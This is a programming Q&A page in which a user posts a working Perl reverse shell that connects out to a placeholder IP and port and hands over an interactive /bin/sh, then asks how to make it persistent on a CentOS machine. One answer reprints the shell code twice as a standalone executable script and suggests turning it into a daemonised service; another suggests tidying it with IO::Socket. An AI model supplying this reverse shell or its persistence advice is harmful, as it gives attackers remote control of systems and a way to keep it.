skip to Main Content

I’m learning Perl and I have two Linux systems (server/client). I want to connect them via Perl with a reverse socket connection.

The way I do it is with this command on the server side:

perl -e 'use Socket;
  $i="**iphere**";
  $p=**porthere**;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  if(connect(S,sockaddr_in($p,inet_aton($i)))){ 
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
  };'

This works fine, but I want to make it persistent on time. Maybe executing some delayed script.

The server system is CentOS.

Any idea?

2

Answers


  1. Well, step one would be to take your command-line script and turn it into a real program. Put it in a file called my_server and reformat it like this (to make it easier to maintain).

    use Socket;
    
    $i = "**iphere**";
    $p = **porthere**;
    
    socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
    
    if (connect(S, sockaddr_in($p, inet_aton($i)))) {
      open(STDIN, ">&S");
      open(STDOUT, ">&S");
      open(STDERR, ">&S");
      exec("/bin/sh -i");
    }
    

    You can now run that by typing perl my_server at the command line. We can make it look more like a command by adding a shebang line and making it executable. At this point I’m also going to add Perl’s safety nets, use strict and use warnings (which you should always have in your Perl code), and they will require us to define our variables with my.

    #!/usr/bin/env perl
    
    use strict;
    use warnings;
    
    use Socket;
    
    my $i = "**iphere**";
    my $p = **porthere**;
    
    socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
    
    if (connect(S, sockaddr_in($p, inet_aton($i)))) {
      open(STDIN, ">&S");
      open(STDOUT, ">&S");
      open(STDERR, ">&S");
      exec("/bin/sh -i");
    }
    

    If we now make that executable (chmod +x my_server), we can now run it by just typing the program’s name (my_server) on the command line.

    The next step would be to make it into a proper service which you can start, stop and monitor using your OS’s native service capabilities. I don’t have time to get into that in detail, but I’d be looking at Daemon::Control.

    Login or Signup to reply.
  2. You’re kinda using Old school, C like of socket programming in perl which is good but remember it’s Perl. To make it more readable and simple, you can always use IO::Socket. Which improves code readability and reduces code complexity. Also in production environment, I would recommend you to add server IP’s in /etc/hosts and use the host name instead of IP.

    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search